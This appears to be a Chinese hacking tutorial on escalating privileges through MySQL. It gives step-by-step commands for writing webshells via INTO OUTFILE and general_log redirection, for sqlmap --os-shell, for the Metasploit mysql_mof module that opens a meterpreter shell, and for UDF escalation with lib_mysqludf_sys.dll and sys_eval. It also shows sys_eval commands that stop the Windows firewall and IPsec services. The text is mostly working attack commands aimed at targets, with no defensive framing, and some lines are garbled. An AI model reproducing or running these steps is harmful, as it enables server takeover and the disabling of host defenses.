直接提权
通过程序报错、phpinfo函数信息等,获取网站真实目录
如过目标存在phpmyadmin的话,可以在phpmyadmin中执行
select ' ' INTO OUTFILE '网站目录/shell.php';
利用日志写shell
查看genera文件配置情况
show global variables like "%genera%";
开启日志记录
set global general_log='on';
日志文件导出指定目录
set global general_log_file='C:/phpstudy/WWW/shell.php';
记录sql语句写马,在查询中执行 (没有安全狗,可直接传原马)
select ' ';
关闭记录
set global general_log=off;
菜刀连接后如果是普通权限,接下来开始提权
sqlmap注入点获取webshell
sqlmap -u url --os-shell echo " ">/data/www/1.php
MOF提权
MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)
叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡
MOF提权原理
MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
利用条件
Windows<=2003
mysql在c:windows/system32/mof目录有写权限
已知数据库账号密码
这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到。
而且较新的系统无法使用MOF提权
技巧:
要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。
默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置
Msf直接mof提权
Msf 下有Mof 提权模块 ,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关
执行成功后会直接反弹 shell 到 meterpreter
use exploit/windows/mysql/mysql_mof setrhost 192.168.157.1 #设置需要提权的远程主机IP地址 setrport 3306 #设置mysql的远程端口 setpasswordroot #设置mysql数据库root密码 setusername root #设置mysql用户名 options #查看设置 run 0
UDF提权
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数
用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll
提权原理
利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)
当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。
这样我们自定义的函数才被当作本机函数执行。
在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而提权
利用条件
windows2003、windowsXP、windows7
已知mysql中root的账号密码
拥有mysql的insert和delete权限
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
可以直接查询插件安装目录:
show variables like %plugin%
上传udf.php到网站中
在中将udf.dll导出到插件目录,udf.dll可以用sqlmap生成
1.首先进入到
sqlmap\extra\cloak\cloak
目录下2.打开命令终端,执行命令:
python cloak.py -d -i \sqlmap目录\udf\mysql\windows\32\lib_mysqludf_sys.dll_
3.将生成的lib_mysqludf_sys.dll改名为udf.dll上传到目标数据库
4.创建相应函数:
create function sys_eval returns string soname 'udf.dll';
5.执行命令:
select sys_eval(‘whoami’);
6.删除函数:
drop function sys_eval;
在将udf.dll文件导出到lib\plugin目录下时,如果plugin不存在,可以用NTFS ADS流来创建文件夹并导入dll
select @@basedir; //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
连不上3389可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’);
函数说明:函数说明:
sys_eval
,执行任意命令,并将输出返回。
sys_exec
,执行任意命令,并将退出码返回。
sys_get
,获取一个环境变量。
sys_set
,创建或修改一个环境变量。END
一个MySQL自动化提权工具:
Refers
Mysql udf提权(Linux平台)
那些提权测试中的奇淫技巧